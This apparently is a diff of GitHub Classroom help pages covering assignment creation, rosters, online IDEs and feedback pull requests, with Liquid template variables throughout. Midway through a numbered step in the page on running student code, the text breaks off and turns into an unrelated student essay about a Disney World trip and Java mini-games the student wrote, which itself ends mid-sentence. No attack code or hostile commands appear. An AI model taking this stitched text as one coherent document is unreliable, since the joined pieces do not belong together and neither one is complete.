for an assignment](#defining-teams-for-an-assignment) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." #### Defining teams for an assignment If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams. {% tip %} **Tips**: - We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course. - If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members. {% endtip %}  #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} ### Providing feedback Optionally, you can automatically grade assignments and create a space for discussing each submission with the team. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png"> </div> ### Next steps - After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}. - When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" - [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community 19 ...sework-with-github-classroom/create-an-assignment-from-a-template-repository.md @@ -0,0 +1,19 @@ --- title: Create an assignment from a template repository intro: You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments --- You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public. {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} For more information, see "[Configure default settings for assignment repositories](/education/manage-coursework-with-github-classroom/configure-default-settings-for-assignment-repositories)." ### Further reading - "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" - "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)" 124 ...tion/manage-coursework-with-github-classroom/create-an-individual-assignment.md @@ -0,0 +1,124 @@ --- title: Create an individual assignment intro: You can create an assignment for students in your course to complete individually. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment - /education/manage-coursework-with-github-classroom/create-an-individual-assignment --- ### About individual assignments {% data reusables.classroom.assignments-individual-definition %} {% data reusables.classroom.classroom-creates-individual-repositories %} {% data reusables.classroom.about-assignments %} For a video demonstration of the creation of an individual assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} ### Providing feedback for an assignment Optionally, you can automatically grade assignments and create a space for discussing each submission with the student. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png"> </div> ### Next steps - Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)." - When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" 9 ...on/manage-coursework-with-github-classroom/get-started-with-github-classroom.md @@ -0,0 +1,9 @@ --- title: Get started with GitHub Classroom shortTitle: Get started intro: Learn how to configure and use {% data variables.product.prodname_classroom %} to administer your course. mapTopic: true versions: free-pro-team: '*' --- 52 content/education/manage-coursework-with-github-classroom/glossary.md @@ -0,0 +1,52 @@ --- title: Glossary intro: You can review explanations of terminology for {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' --- ### assignment An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for "[individual assignment](#individual-assignment)" and "[group assignment](#group-assignment)." --- ### classroom A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom_the_website %}. To administer a classroom, you must be an organization owner for the organization on {% data variables.product.prodname_dotcom %}. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)." --- ### {% data variables.product.prodname_classroom %} {% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website. --- ### group assignment {% data reusables.classroom.assignments-group-definition %} For more information, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." --- ### identifier An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address. --- ### individual assignment {% data reusables.classroom.assignments-individual-definition %} For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." --- ### roster A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of "[identifier](#identifier)." For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." --- ### Further reading - "[{% data variables.product.prodname_dotcom %} glossary](/github/getting-started-with-github/github-glossary)" 32 content/education/manage-coursework-with-github-classroom/index.md @@ -0,0 +1,32 @@ --- title: Manage coursework with GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %}' intro: With {% data variables.product.prodname_classroom %}, you can use {% data variables.product.product_name %} to administer or participate in a course about software development. versions: free-pro-team: '*' --- ### Table of Contents {% topic_link_in_list /get-started-with-github-classroom %} {% link_in_list /basics-of-setting-up-github-classroom %} {% link_in_list /glossary %} {% topic_link_in_list /teach-with-github-classroom %} {% link_in_list /manage-classrooms %} {% link_in_list /create-an-individual-assignment %} {% link_in_list /create-a-group-assignment %} {% link_in_list /create-an-assignment-from-a-template-repository %} {% link_in_list /leave-feedback-with-pull-requests %} {% link_in_list /use-autograding %} {% link_in_list /configure-default-settings-for-assignment-repositories %} {% link_in_list /connect-a-learning-management-system-to-github-classroom %} {% topic_link_in_list /integrate-github-classroom-with-an-ide %} {% link_in_list /integrate-github-classroom-with-an-online-ide %} {% link_in_list /about-using-makecode-arcade-with-github-classroom %} {% link_in_list /about-using-replit-with-github-classroom %} {% link_in_list /run-student-code-in-an-online-ide %} {% topic_link_in_list /learn-with-github-classroom %} {% link_in_list /view-autograding-results %} 8 ...nage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide.md @@ -0,0 +1,8 @@ --- title: Integrate GitHub Classroom with an IDE shortTitle: Integrate with an IDE intro: You can help your students write, test, and debug code by preconfiguring a development environment for assignment repositories on {% data variables.product.prodname_classroom %}. mapTopic: true versions: free-pro-team: '*' --- 42 ...ursework-with-github-classroom/integrate-github-classroom-with-an-online-ide.md @@ -0,0 +1,42 @@ --- title: Integrate GitHub Classroom with an online IDE shortTitle: Integrate with an online IDE intro: You can preconfigure a supported online integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/online-ide-integrations --- ### About integration with an online IDE {% data reusables.classroom.about-online-ides %} After a student accepts an assignment with an online IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary.  ### Supported online IDEs {% data variables.product.prodname_classroom %} supports the following online IDEs. You can learn more about the student experience for each IDE. | IDE | More information | | :- | :- | | Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" | | Repl.it | "[About using Repl.it with GitHub Classroom](/education/manage-coursework-with-github-classroom/about-using-replit-with-github-classroom)" | ### Configuring an online IDE for an assignment You can choose the online IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an online IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Authorizing the OAuth app for an online IDE The first time you configure an assignment with an online IDE, you must authorize the OAuth app for the online IDE for your organization.  For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 7 ...ducation/manage-coursework-with-github-classroom/learn-with-github-classroom.md @@ -0,0 +1,7 @@ --- title: Learn with GitHub Classroom intro: You can participate in coursework in {% data variables.product.prodname_classroom %} and see results from your teacher. mapTopic: true versions: free-pro-team: '*' --- 33 ...on/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests.md @@ -0,0 +1,33 @@ --- title: Leave feedback with pull requests intro: You can leave feedback for your students in a special pull request within the repository for each assignment. permissions: People with read permissions to a repository can leave feedback in a pull request for the repository. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/leaving-feedback-in-github --- ### About feedback pull requests for assignments {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} When you enable the pull request for feedback for an assignment, {% data variables.product.prodname_classroom %} will create a special pull request titled **Feedback** in the assignment repository for each student or team. The pull request automatically shows every commit that a student pushed to the assignment repository's default branch. ### Prerequisites To create and access the feedback pull request, you must enable the feedback pull request when you create the assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %} ### Leaving feedback in a pull request for an assignment {% data reusables.classroom.sign-into-github-classroom %} 1. In the list of classrooms, click the classroom with the assignment you want to review.  {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **Review**.  1. Review the pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)." ### Further reading - "[Integrate {% data variables.product.prodname_classroom %} with an IDE](http://localhost:4000/en/free-pro-team@latest/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)" 121 content/education/manage-coursework-with-github-classroom/manage-classrooms.md @@ -0,0 +1,121 @@ --- title: Manage classrooms intro: You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}. permissions: Organization owners can manage a classroom for an organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/archive-a-classroom --- ### About classrooms {% data reusables.classroom.about-classrooms %}  ### About management of classrooms {% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classrom. Organization owners can administer any classroom for the organization. For more information, see "[Permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization)" and "[Inviting users to join your organization](/github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization)." When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. ### About classroom rosters Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment.  ### Prerequisites You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)." You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Creating a classroom {% data reusables.classroom.sign-into-github-classroom %} 1. Click **New classroom**.  {% data reusables.classroom.guide-create-new-classroom %} After you create a classroom, you can begin creating assignments for students. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Creating a roster for your classroom You can create a roster of the students who participate in your course. If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."  1. To create a roster manually, type your student identifiers. Optionally, click **Upload a CSV or text file** to upload a file containing the identifiers.  1. Click **Create roster**.  ### Adding students to the roster for your classroom Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classrom](#creating-a-roster-for-your-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To the right of "Classroom roster", click **Update students**.  1. Follow the instructions to add students to the roster. - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**.  ### Renaming a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Classroom name", type a new name for the classroom.  1. Click **Rename classroom**.  ### Archiving or unarchiving a classroom You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. {% data reusables.classroom.sign-into-github-classroom %} 1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**.  1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**.  ### Deleting a roster for a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. Under "Delete this roster", click **Delete roster**.  1. Read the warnings, then click **Delete roster**.  ### Deleting a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. To the right of "Delete this classroom", click **Delete classroom**.  1. **Read the warnings**. 1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete.  1. Click **Delete classroom**.  22 ...on/manage-coursework-with-github-classroom/run-student-code-in-an-online-ide.md @@ -0,0 +1,22 @@ --- title: Run student code in an online IDE intro: You can run the code from a student assignment within the online integrated development environment (IDE) that you configured for the assignment. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/running-student-code --- ### About student code and online IDEs If you configure an online integrated development environment (IDE) for an assignment, you can run the code within the online IDE. You don't need to clone the assignment repository to your computer. For more information about online IDEs, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." ### Running student code in the online IDE {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %} 1. 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Please Read Me First. This is a set of java file of my final version of electronic artifacts. This is a game to map my experience in Disney World, in Orlando during this spring break. However, because of my limited skills in computer science, I really have no idea how to simplify the process to run the game. Sorry for the inconvenience. In order to run the game, you may need to install JAVA. I hope the following links will help you. http://www.oracle.com/technetwork/java/javase/downloads/index-jsp-138363.html#javasejdk http://www.cc.gatech.edu/~simpkins/teaching/gatech/cs1331/guides/install-java.html My main file is called Disney. You can call Disney in console to start the game. However, I failed to putting all the things inside Disney file. Therefore, you may also need to call AdventureLand, MainStreet, and FrontierLand to start other three games. I hope this will help you. Sorry again for the inconvenience. 1. the structure of my project My project only focused on my trip in Magic Kingdom, one part of Disney world in Orlando. It is a game which guides players to choose from six sub-games, which match six sections of the park, Main Street U.S.A, Tomorrowland, Adventureland, Frontierland, Fantasyland and Liberty Square. I chose one of the rides I took in each section which, from my perspective, shows what I found interesting in Disney world. I changed what I experienced in the park into a small computer game. I want to share my experience with others while they play my games. In the following part of self reflection, I explain the background, rules and other things about each game. For convenience of matching them, I use different color to mark different parts. I hope it will help readers a little bit when they are lost in my disordered reflections. 1. the hall of presidents - Liberty Square 2. Festivall parade - Fantasyland (I explain this one in the part of technology skill limitations) 3. Big Thunder Mountain Railroad - Frontierland 4.talking with Woody- Adventureland 5. Stitch Store - Tomorrowland 6. lunch time - Main Street USA 3. my reflection of the trip in Disney World from dream to reality When I exited Disney resort, I found a sign along the street welcomed people back to real world. Actually, when I was in Orlando, I couldn't believe as an adult, people can mess up fantasy world in the theme parks and the real world. Nevertheless, I felt I was still in fantasy world, when I dreamed twice that I fought for the key to open the door of future. As is known to all, while sleeping, people always dream about what people thinks in the daytime. Therefore, my dream shows that my mind still stayed in the world with Mickey and Donald. I believe that it is experiencing fantasy world which is the source of the greatest happiness people get from theme park. On the one hand, everybody has pressure in real life especially for adults. They can get out of pressure for a day trip in theme park. They can experience different lives here with cartoon characters. On the other hand, sometimes, it is a really hard task to fulfill some dreams, such as being a princess. However, in Disney world, you can dress up the same as Snow White, waiting for your prince; you can go to space by rocket; you can also travel all over the world in one day and enjoy the food of each country. These are all the magic of theme parks. Therefore, in my game, I learnt the way which Disney design their rides to focus on the background story of the game instead of the game itself. For example, there is a ride called Big Thunder Mountain Railroad, which streaks through a haunted gold-mining town aboard a rollicking runaway mine train. The views around the ride were like a gold mining town. There were tools for gold-mining around the railroad and the railroad looked like very old. In order to show riders that it was a haunted gold-mining town, the train always took a sudden turn or speed up quickly to scare people. I decided to name one of my game, which was inspired by this ride, the same name, Big Thunder Mountain Railroad. Instead of sitting inside the mine train to travel around the haunted town, mine was for users to use keyboard to control the train to travel around the gridding railroad. I place traps inside several parts of gridding to "scare" players, who cannot know where traps are until they get into them. If I know how to use animation, I will show scary pictures when players drive their train to the traps. Unlike the ride in Disney, my players can no longer travel once they encounter a trap because their train may have some problems to keep moving. Also, the main goal in the game is to find the gold. However, as we know, finding gold is really hard. Therefore, players must go to find Aladdin's Wonderful lamp where also places inside the gridding while players cannot see its exact place until they happen to drive inside the part where lamp is. Aladdin's Wonderful lamp will show players the map of the gold and when people get to the gold mine, they win. However, there is another limitation of the game. Haunted town is so dangerous during the night. Therefore, players only have 12 hours to finish the task. Train can drive one square in 20 min. Therefore, train can only move 36 times or they will also be caught by traps. In this game, I want to show audiences I have a background story like rides in Disney World. Players need to find the gold in a haunted gold-mining town. Also, in order to show the relationship with Disney, I use Aladdin's Wonderful Lamp as the guide for the players, which is a well known characters in Disney cartoon. I created another game, called talking with Woody to show the magic power of Disney characters. There are a lot of chances to meet Disney characters in Disney world. On the one hand, travelers, especially small kids, are really excited to meet the characters they watched on TV. I think some kids may believe they take pictures with real Mickey Mouse. On the hand, staffs in Disney who wear the costumes are really tired. It was hot in Orlando last week, but all costumes were very heavy. I was moved by the staffs inside Mickey. They also need to mimic the actions of characters and also need to show kindness and warmness to children. It seems like a really hard job. Therefore, I decide to show this part of Disney in my project as well. I decided to use Woody, a toy all the toys look up to. He is smart, kind and brave like a cowboy should be. He is more than a top, he is friend to everyone enjoying the movie Toy. In order to create an interactive game, I planned to ask players to guide Woody. Players need to call Woody before their instructions. For instance, if players say (actually players are typing) "Woody, please sit down", Woody will sit down (actually, there will be another line on the screen showing the same as players import). However, if players are rude and just say "sit down" without calling Woody, Woody won't act (actually there is just nothing showing up on the screen). great facilities to provide convenience to everyone The facilities to satisfy needs for special groups of people, like small kids or disabled people, are well developed. In the past in China, it seemed impossible for parents to take infants and small kids to travel. The road is not flat or wide enough for strollers or wheelchairs. However, in Disney world, everything seemed like well prepared for everyone to use. There are strollers rentals, and electric conveyance vehicles rentals, which are available to rent throughout Disney world. There are baby care center for mothers to feed, change and nurse little ones. There are locker rentals for storing personal items. There are also hearing disability services which have sign language interpretation to help disabled people to enjoy fantasy world. There are still a lot other convenient services in Disney world. I think the purpose of these services show the pursue of equality among everyone in the world. On the one hand, I am really touched by the availability of these services here. It seems Disney try its best to service everyone who have desire to experience fantasy land. On the other hand, in this way, Disney can attract more travelers in order to make more money in some ways. Also, in Disney, it seems like a tradition that there are stores at the exit of the famous rides. Somebody may think it is just a strategy to make people shopping a lot. However, I think it also provides some convenience that travelers can buy souvenirs where is memorable. For example, when I finished my trip in Escape Stitch, I entered a store with a lot of kinds of Stitch, like Stitch pillow, Stitch key chain and so on. I really want to buy something in order to remind me the wonderful feelings. Therefore, I showed my opinion inside my game as well. I wrote one part is for shopping. The items are different kinds of Stitch. My codes can act as a robot to help customers to shop in the store. There are a lot of restaurants in Disney. Maps of Disney are full of restaurants' name. The greatest things about the food are in Epcot, I experienced different counties in one day. I felt like I was in fast travel in different parts of the world and tasted their special food and snacks while I was on the way. I remembered I was still eating Japanese food when I was in "Mexico". It was a great experience. However, there were always a long waiting lines for the all restaurants. People needed to reserve a table a day before their trip and even they had the reservation, they still needed to wait for a long time. I think Disney may need some good ways to fix the problems of waiting for a long time. I have no idea of changing the situation of restaurants, but I think if there are robots to customers to order in fast food restaurant, it may help a lot. Thus, I have another code to customers to order in Plaza Restaurant. If this kind of robots can work in the real life, people can order by themselves and there will be more staffs available to prepare food. theme park uses interesting ways to teach knowledge of boring topics Theme part is also a great source of learning knowledge, especially for kids. They use Disney characters, interesting shows, or even games to teach useful things. The ways change the boring knowledge to interesting things, which always attract children's attention. The most amazing one was an interactive game in 